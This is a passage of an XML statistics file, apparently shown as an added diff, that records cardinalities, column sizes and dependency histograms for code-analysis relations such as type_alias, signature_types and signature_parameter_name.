+<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>142723</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>142723</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>142723</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15702</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>17715</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>4729</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>3778</v> +</b> +<b> +<a>6</a> +<b>4205</b> +<v>3205</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15702</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>17715</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>4729</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>3778</v> +</b> +<b> +<a>6</a> +<b>4205</b> +<v>3205</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>44603</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>526</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15770</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>17763</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>4692</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>3759</v> +</b> +<b> +<a>6</a> +<b>4173</b> +<v>3145</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>2827</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>364</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>358</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>337</v> +</b> +<b> +<a>8</a> +<b>11713</b> +<v>316</v> +</b> +<b> +<a>29427</a> +<b>45130</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>2827</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>364</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>358</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>337</v> +</b> +<b> +<a>8</a> +<b>11713</b> +<v>316</v> +</b> +<b> +<a>29427</a> +<b>45130</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4149</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>55</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2827</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>364</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>358</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>337</v> +</b> +<b> +<a>7</a> +<b>6233</b> +<v>316</v> +</b> +<b> +<a>16744</a> +<b>16747</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>338</a> +<b>339</b> +<v>1</v> +</b> +<b> +<a>1529</a> +<b>1530</b> +<v>1</v> +</b> +<b> +<a>140856</a> +<b>140857</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>204</a> +<b>205</b> +<v>1</v> +</b> +<b> +<a>523</a> +<b>524</b> +<v>1</v> +</b> +<b> +<a>45034</a> +<b>45035</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>36</a> +<b>37</b> +<v>1</v> +</b> +<b> +<a>55</a> +<b>56</b> +<v>1</v> +</b> +<b> +<a>4204</a> +<b>4205</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>174</a> +<b>175</b> +<v>1</v> +</b> +<b> +<a>880</a> +<b>881</b> +<v>1</v> +</b> +<b> +<a>66649</a> +<b>66650</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>46301</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>13295</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>5112</v> +</b> +<b> +<a>6</a> +<b>2975</b> +<v>2995</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>46926</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>13013</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>5466</v> +</b> +<b> +<a>7</a> +<b>2975</b> +<v>2298</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>61480</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>5275</v> +</b> +<b> +<a>4</a> +<b>43</b> +<v>948</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>67703</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_computed</name> +<cardinality>27</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>27</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_method</name> +<cardinality>392</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>392</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_static</name> +<cardinality>36</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>36</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>type_alias</name> +<cardinality>1386</cardinality> +<columnsizes> +<e> +<k>aliasType</k> +<v>1386</v> +</e> +<e> +<k>underlyingType</k> +<v>1361</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>underlyingType</src> +<trg>aliasType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>aliasType</src> +<trg>underlyingType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>type_literal_value</name> +<cardinality>31882</cardinality> +<columnsizes> +<e> +<k>typ</k> +<v>31882</v> +</e> +<e> +<k>value</k> +<v>31828</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>typ</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>31882</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>31774</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>54</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>signature_types</name> +<cardinality>46921</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>46921</v> +</e> +<e> +<k>kind</k> +<v>2</v> +</e> +<e> +<k>tostring</k> +<v>27460</v> +</e> +<e> +<k>type_parameters</k> +<v>11</v> +</e> +<e> +<k>required_params</k> +<v>22</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>46921</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>46921</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>type_parameters</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>46921</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>required_params</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>46921</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2639</a> +<b>2640</b> +<v>1</v> +</b> +<b> +<a>44282</a> +<b>44283</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2200</a> +<b>2201</b> +<v>1</v> +</b> +<b> +<a>25260</a> +<b>25261</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>type_parameters</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>required_params</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>18</a> +<b>19</b> +<v>1</v> +</b> +<b> +<a>19</a> +<b>20</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22069</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3061</v> +</b> +<b> +<a>3</a> +<b>13</b> +<v>2112</v> +</b> +<b> +<a>13</a> +<b>277</b> +<v>218</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>27460</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>type_parameters</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>27459</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>required_params</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>27134</v> +</b> +<b> +<a>2</a> +<b>10</b> +<v>326</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>type_parameters</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>13</a> +<b>14</b> +<v>1</v> +</b> +<b> +<a>25</a> +<b>26</b> +<v>1</v> +</b> +<b> +<a>34</a> +<b>35</b> +<v>1</v> +</b> +<b> +<a>42</a> +<b>43</b> +<v>1</v> +</b> +<b> +<a>51</a> +<b>52</b> +<v>1</v> +</b> +<b> +<a>74</a> +<b>75</b> +<v>1</v> +</b> +<b> +<a>139</a> +<b>140</b> +<v>1</v> +</b> +<b> +<a>274</a> +<b>275</b> +<v>1</v> +</b> +<b> +<a>5367</a> +<b>5368</b> +<v>1</v> +</b> +<b> +<a>40901</a> +<b>40902</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>type_parameters</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>type_parameters</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>2</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>2</v> +</b> +<b> +<a>17</a> +<b>18</b> +<v>1</v> +</b> +<b> +<a>18</a> +<b>19</b> +<v>1</v> +</b> +<b> +<a>158</a> +<b>159</b> +<v>1</v> +</b> +<b> +<a>1805</a> +<b>1806</b> +<v>1</v> +</b> +<b> +<a>25429</a> +<b>25430</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>type_parameters</src> +<trg>required_params</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>2</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>2</v> +</b> +<b> +<a>9</a> +<b>10</b> +<v>1</v> +</b> +<b> +<a>22</a> +<b>23</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>required_params</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>11</b> +<v>2</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>2</v> +</b> +<b> +<a>44</a> +<b>131</b> +<v>2</v> +</b> +<b> +<a>197</a> +<b>373</b> +<v>2</v> +</b> +<b> +<a>645</a> +<b>2439</b> +<v>2</v> +</b> +<b> +<a>2783</a> +<b>6853</b> +<v>2</v> +</b> +<b> +<a>16407</a> +<b>17002</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>required_params</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>15</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>required_params</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>2</v> +</b> +<b> +<a>9</a> +<b>12</b> +<v>2</v> +</b> +<b> +<a>39</a> +<b>62</b> +<v>2</v> +</b> +<b> +<a>112</a> +<b>205</b> +<v>2</v> +</b> +<b> +<a>432</a> +<b>1404</b> +<v>2</v> +</b> +<b> +<a>1813</a> +<b>3662</b> +<v>2</v> +</b> +<b> +<a>8431</a> +<b>11659</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>required_params</src> +<trg>type_parameters</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>12</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>2</v> +</b> +<b> +<a>8</a> +<b>10</b> +<v>2</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>2</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>signature_rest_parameter</name> +<cardinality>19521</cardinality> +<columnsizes> +<e> +<k>sig</k> +<v>19521</v> +</e> +<e> +<k>rest_param_arra_type</k> +<v>14259</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>rest_param_arra_type</src> +<trg>sig</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>sig</src> +<trg>rest_param_arra_type</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>type_contains_signature</name> +<cardinality>87640</cardinality> +<columnsizes> +<e> +<k>typ</k> +<v>68964</v> +</e> +<e> +<k>kind</k> +<v>2</v> +</e> +<e> +<k>index</k> +<v>247</v> +</e> +<e> +<k>sig</k> +<v>37344</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>typ</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>68938</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>26</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>typ</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>59150</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5394</v> +</b> +<b> +<a>3</a> +<b>248</b> +<v>4420</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>typ</src> +<trg>sig</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>60034</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4557</v> +</b> +<b> +<a>3</a> +<b>248</b> +<v>4373</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2582</a> +<b>2583</b> +<v>1</v> +</b> +<b> +<a>66408</a> +<b>66409</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>247</a> +<b>248</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>sig</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2646</a> +<b>2647</b> +<v>1</v> +</b> +<b> +<a>34698</a> +<b>34699</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>198</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>21</v> +</b> +<b> +<a>3</a> +<b>265</b> +<v>19</v> +</b> +<b> +<a>449</a> +<b>42171</b> +<v>9</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>241</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>6</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>sig</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>198</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>24</v> +</b> +<b> +<a>3</a> +<b>90</b> +<v>19</v> +</b> +<b> +<a>309</a> +<b>31688</b> +<v>6</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>sig</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>35114</v> +</b> +<b> +<a>2</a> +<b>896</b> +<v>2230</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>sig</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>37344</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>sig</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>36489</v> +</b> +<b> +<a>2</a> +<b>9</b> +<v>855</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>signature_contains_type</name> +<cardinality>107012</cardinality> +<columnsizes> +<e> +<k>child</k> +<v>26824</v> +</e> +<e> +<k>parent</k> +<v>37344</v> +</e> +<e> +<k>index</k> +<v>21</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>child</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19848</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3736</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>2017</v> +</b> +<b> +<a>7</a> +<b>10275</b> +<v>1223</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>child</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22572</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3289</v> +</b> +<b> +<a>3</a> +<b>22</b> +<v>963</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>child</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3594</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>18463</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>10057</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3906</v> +</b> +<b> +<a>5</a> +<b>11</b> +<v>1324</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2649</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>14810</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>12007</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>4294</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>3055</v> +</b> +<b> +<a>8</a> +<b>22</b> +<v>529</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>child</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>6</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>9</a> +<b>10</b> +<v>1</v> +</b> +<b> +<a>18</a> +<b>19</b> +<v>1</v> +</b> +<b> +<a>106</a> +<b>107</b> +<v>1</v> +</b> +<b> +<a>313</a> +<b>314</b> +<v>1</v> +</b> +<b> +<a>455</a> +<b>456</b> +<v>1</v> +</b> +<b> +<a>643</a> +<b>644</b> +<v>1</v> +</b> +<b> +<a>1088</a> +<b>1089</b> +<v>1</v> +</b> +<b> +<a>2051</a> +<b>2052</b> +<v>1</v> +</b> +<b> +<a>6862</a> +<b>6863</b> +<v>1</v> +</b> +<b> +<a>8789</a> +<b>8790</b> +<v>1</v> +</b> +<b> +<a>12289</a> +<b>12290</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>17</a> +<b>18</b> +<v>1</v> +</b> +<b> +<a>22</a> +<b>23</b> +<v>1</v> +</b> +<b> +<a>26</a> +<b>27</b> +<v>1</v> +</b> +<b> +<a>37</a> +<b>38</b> +<v>1</v> +</b> +<b> +<a>45</a> +<b>46</b> +<v>1</v> +</b> +<b> +<a>91</a> +<b>92</b> +<v>1</v> +</b> +<b> +<a>219</a> +<b>220</b> +<v>1</v> +</b> +<b> +<a>529</a> +<b>530</b> +<v>1</v> +</b> +<b> +<a>1042</a> +<b>1043</b> +<v>1</v> +</b> +<b> +<a>1574</a> +<b>1575</b> +<v>1</v> +</b> +<b> +<a>3584</a> +<b>3585</b> +<v>1</v> +</b> +<b> +<a>7878</a> +<b>7879</b> +<v>1</v> +</b> +<b> +<a>19885</a> +<b>19886</b> +<v>1</v> +</b> +<b> +<a>34695</a> +<b>34696</b> +<v>1</v> +</b> +<b> +<a>37344</a> +<b>37345</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>signature_parameter_name</name> +<cardinality>69668</cardinality> +<columnsizes> +<e> +<k>sig</k> +<v>34695</v> +</e> +<e> +<k>index</k> +<v>20</v> +</e> +<e> +<k>name</k> +<v>4071</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>sig</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>14810</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>12007</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>4294</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>3055</v> +</b> +<b> +<a>7</a> +<b>21</b> +<v>529</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>sig</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>14810</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>12007</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>4294</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>3055</v> +</b> +<b> +<a>7</a> +<b>21</b> +<v>529</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>sig</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>17</a> +<b>18</b> +<v>1</v> +</b> +<b> +<a>22</a> +<b>23</b> +<v>1</v> +</b> +<b> +<a>26</a> +<b>27</b> +<v>1</v> +</b> +<b> +<a>37</a> +<b>38</b> +<v>1</v> +</b> +<b> +<a>45</a> +<b>46</b> +<v>1</v> +</b> +<b> +<a>91</a> +<b>92</b> +<v>1</v> +</b> +<b> +<a>219</a> +<b>220</b> +<v>1</v> +</b> +<b> +<a>529</a> +<b>530</b> +<v>1</v> +</b> +<b> +<a>1042</a> +<b>1043</b> +<v>1</v> +</b> +<b> +<a>1574</a> +<b>1575</b> +<v>1</v> +</b> +<b> +<a>3584</a> +<b>3585</b> +<v>1</v> +</b> +<b> +<a>7878</a> +<b>7879</b> +<v>1</v> +</b> +<b> +<a>19885</a> +<b>19886</b> +<v>1</v> +</b> +<b> +<a>34695</a> +<b>34696</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>2</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>16</a> +<b>17</b> +<v>1</v> +</b> +<b> +<a>18</a> +<b>19</b> +<v>1</v> +</b> +<b> +<a>24</a> +<b>25</b> +<v>1</v> +</b> +<b> +<a>30</a> +<b>31</b> +<v>1</v> +</b> +<b> +<a>45</a> +<b>46</b> +<v>1</v> +</b> +<b> +<a>63</a> +<b>64</b> +<v>1</v> +</b> +<b> +<a>116</a> +<b>117</b> +<v>1</v> +</b> +<b> +<a>188</a> +<b>189</b> +<v>1</v> +</b> +<b> +<a>344</a> +<b>345</b> +<v>1</v> +</b> +<b> +<a>605</a> +<b>606</b> +<v>1</v> +</b> +<b> +<a>1092</a> +<b>1093</b> +<v>1</v> +</b> +<b> +<a>1741</a> +<b>1742</b> +<v>1</v> +</b> +<b> +<a>2122</a> +<b>2123</b> +<v>1</v> 